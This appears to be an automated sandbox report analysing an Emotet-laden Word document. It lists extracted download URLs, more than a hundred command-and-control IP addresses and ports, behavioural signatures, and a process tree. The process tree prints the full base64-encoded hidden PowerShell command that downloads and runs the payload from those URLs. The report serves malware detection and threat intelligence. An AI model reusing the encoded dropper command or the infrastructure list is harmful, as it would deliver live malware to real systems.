Analysis
-
max time kernel
28s -
resource
win10v191014 -
submitted
18-01-2020 01:41
General
Malware Config
Extracted
http://www.bluedream.al/calendar/r83g9/
http://myphamthanhbinh.net/wp-content/uploads/qDq/
http://sfmac.biz/calendar/K1a/
https://www.cometprint.net/cgi-bin/q/
http://www.mjmechanical.com/wp-includes/ddy/
Extracted
emotet
100.6.23.40:80
200.71.200.4:443
190.114.244.182:443
91.250.96.22:8080
37.187.72.193:8080
104.131.44.150:8080
167.71.10.37:8080
110.36.217.66:8080
206.81.10.215:8080
93.147.141.5:443
60.250.78.22:443
92.222.216.44:8080
95.213.236.64:8080
27.109.153.201:8090
66.7.242.50:8080
5.196.74.210:8080
181.143.126.170:80
209.97.168.52:8080
206.189.112.148:8080
64.53.242.181:8080
120.151.135.224:80
66.34.201.20:7080
205.185.117.108:8080
121.88.5.176:443
47.180.91.213:80
190.143.39.231:80
24.164.79.147:8080
201.236.135.104:443
217.160.182.191:8080
177.239.160.121:80
103.97.95.218:80
62.75.141.82:80
47.6.15.79:80
98.156.206.153:80
183.102.238.69:465
173.21.26.90:80
200.116.145.225:443
47.153.183.211:80
115.95.6.218:443
91.205.215.66:443
190.146.205.227:8080
139.130.241.252:443
190.12.119.180:443
105.247.123.133:8080
160.16.215.66:8080
79.159.249.152:80
192.241.255.77:8080
197.89.27.26:8080
24.94.237.248:80
73.11.153.178:8080
221.165.123.72:80
90.69.145.210:8080
87.230.19.21:8080
209.141.54.221:8080
178.237.139.83:8080
101.187.134.207:8080
78.189.180.107:80
85.67.10.190:80
186.86.247.171:443
105.27.155.182:80
179.13.185.19:80
64.40.250.5:80
201.184.105.242:443
46.105.131.69:443
72.186.137.156:80
104.236.246.93:8080
118.185.7.132:80
70.175.171.251:80
210.6.85.121:80
50.116.86.205:8080
180.92.239.110:8080
181.13.24.82:80
87.106.136.232:8080
78.186.5.109:443
24.105.202.216:443
59.103.164.174:80
190.55.181.54:443
173.66.96.135:80
159.65.25.128:8080
190.220.19.82:443
2.237.76.249:80
45.33.49.124:443
101.187.237.217:80
190.117.126.169:80
120.150.246.241:80
72.189.57.105:80
108.179.206.219:8080
62.138.26.28:8080
61.37.31.243:80
169.239.182.217:8080
68.172.243.146:80
5.32.55.214:80
78.24.219.147:8080
182.176.132.213:8090
70.169.53.234:80
95.128.43.213:8080
178.153.176.124:80
223.197.185.60:80
37.157.194.134:443
85.152.174.56:80
98.30.113.161:80
201.173.217.124:443
31.31.77.83:443
60.231.217.199:8080
104.131.11.150:8080
87.106.139.101:8080
209.146.22.34:443
201.229.45.222:8080
139.130.242.43:80
188.0.135.237:80
101.187.197.33:443
190.117.226.104:80
189.203.177.41:443
47.6.15.79:443
195.244.215.206:80
41.60.200.34:80
103.86.49.11:8080
149.202.153.252:8080
110.143.84.202:80
200.21.90.5:443
78.142.114.69:80
47.156.70.145:80
108.191.2.72:80
178.20.74.212:80
88.249.120.205:80
211.63.71.72:8080
58.171.42.66:8080
Signatures
-
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
WINWORD.EXE906.exe906.exeattribhant.exeattribhant.exepid process 4848 WINWORD.EXE 4576 906.exe 4500 906.exe 4588 attribhant.exe 3836 attribhant.exe -
Process spawned unexpected child process 1 IoCs
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4300 5116 Powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
Powershell.exe906.exeattribhant.exedescription pid process target process PID 4300 wrote to memory of 4576 4300 Powershell.exe 906.exe PID 4576 wrote to memory of 4500 4576 906.exe 906.exe PID 4588 wrote to memory of 3836 4588 attribhant.exe attribhant.exe -
Executes dropped EXE 4 IoCs
Processes:
906.exe906.exeattribhant.exeattribhant.exepid process 4576 906.exe 4500 906.exe 4588 attribhant.exe 3836 attribhant.exe -
Drops file in System32 directory 1 IoCs
Processes:
906.exedescription ioc process File renamed C:\Users\Admin\906.exe => C:\Windows\SysWOW64\attribhant.exe 906.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4848 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4300 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 4300 Powershell.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
Processes:
906.exeattribhant.exepid process 4500 906.exe 3836 attribhant.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2bbb79dcbacd77c823570a51bff214c9a7f283b88d1b0f9a993c44a92a7e3ee5.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:4848
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABOAGEAaAB4AGIAegB4AG0AbgBzAG0AYgA9ACcARwBiAG0AZABuAG0AZwBoAG4AJwA7ACQAUQBzAGgAaAB0AGwAbgBpAG0AYQBjACAAPQAgACcAOQAwADYAJwA7ACQASgBsAGwAeABpAHkAcwB2AGgAcAA9ACcAUwBiAHAAYgBkAGEAdgBmAHoAZgBnAGgAJwA7ACQASgBhAGUAcAB1AHAAbwByAHUAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUQBzAGgAaAB0AGwAbgBpAG0AYQBjACsAJwAuAGUAeABlACcAOwAkAFAAegBuAGYAbQBqAGMAbwBxAGwAYgBwAGsAPQAnAFkAeAByAHUAcwBsAGwAdwBmAGQAJwA7ACQAVgBvAGQAbABqAHgAcgB6AHEAbQBuAGwAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBlAEIAQwBsAEkARQBOAFQAOwAkAEEAaQB1AHcAZwB4AGMAbgBnAGoAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGwAdQBlAGQAcgBlAGEAbQAuAGEAbAAvAGMAYQBsAGUAbgBkAGEAcgAvAHIAOAAzAGcAOQAvACoAaAB0AHQAcAA6AC8ALwBtAHkAcABoAGEAbQB0AGgAYQBuAGgAYgBpAG4AaAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAEQAcQAvACoAaAB0AHQAcAA6AC8ALwBzAGYAbQBhAGMALgBiAGkAegAvAGMAYQBsAGUAbgBkAGEAcgAvAEsAMQBhAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBjAG8AbQBlAHQAcAByAGkAbgB0AC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AcQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AagBtAGUAYwBoAGEAbgBpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBkAGQAeQAvACcALgAiAFMAYABQAEwASQBUACIAKAAnACoAJwApADsAJABQAG4AZABmAGUAeABsAGkAPQAnAEMAZAB4AHIAZQBsAGUAYQBvACcAOwBmAG8AcgBlAGEAYwBoACgAJABQAGUAeQBvAGEAdQB5AGcAZgBjAGcAdQB6ACAAaQBuACAAJABBAGkAdQB3AGcAeABjAG4AZwBqACkAewB0AHIAeQB7ACQAVgBvAGQAbABqAHgAcgB6AHEAbQBuAGwALgAiAEQATwBgAFcATgBMAG8AYQBEAEYAYABpAGwARQAiACgAJABQAGUAeQBvAGEAdQB5AGcAZgBjAGcAdQB6ACwAIAAkAEoAYQBlAHAAdQBwAG8AcgB1AGIAKQA7ACQAVwBiAGgAcABtAGgAbABlAGMAPQAnAFoAaABuAGIAbQBnAHcAcgAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAYQBlAHAAdQBwAG8AcgB1AGIAKQAuACIAbABgAEUATgBnAHQASAAiACAALQBnAGUAIAAzADkAMQA0ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAEEAYABSAFQAIgAoACQASgBhAGUAcAB1AHAAbwByAHUAYgApADsAJABQAHYAbgB4AGEAZwBhAHMAZQBwAHgAPQAnAEwAdgBwAHIAcQB6AGQAcQBhAGEAZQBwACcAOwBiAHIAZQBhAGsAOwAkAFkAeQBkAHcAcQB6AGcAbAA9ACcAUABnAGYAZABqAGQAbABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAcgBxAGYAYQB6AGMAeQBwAHYAagBoAD0AJwBDAHUAYgB0AGgAdwBtAGEAJwA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4300 -
C:\Users\Admin\906.exe"C:\Users\Admin\906.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:4576 -
C:\Users\Admin\906.exe--3772ec1d3⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EmotetMutantsSpam
PID:4500
-
-
-
C:\Windows\SysWOW64\attribhant.exe"C:\Windows\SysWOW64\attribhant.exe"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:4588 -
C:\Windows\SysWOW64\attribhant.exe--b4a20e9b2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
PID:3836
-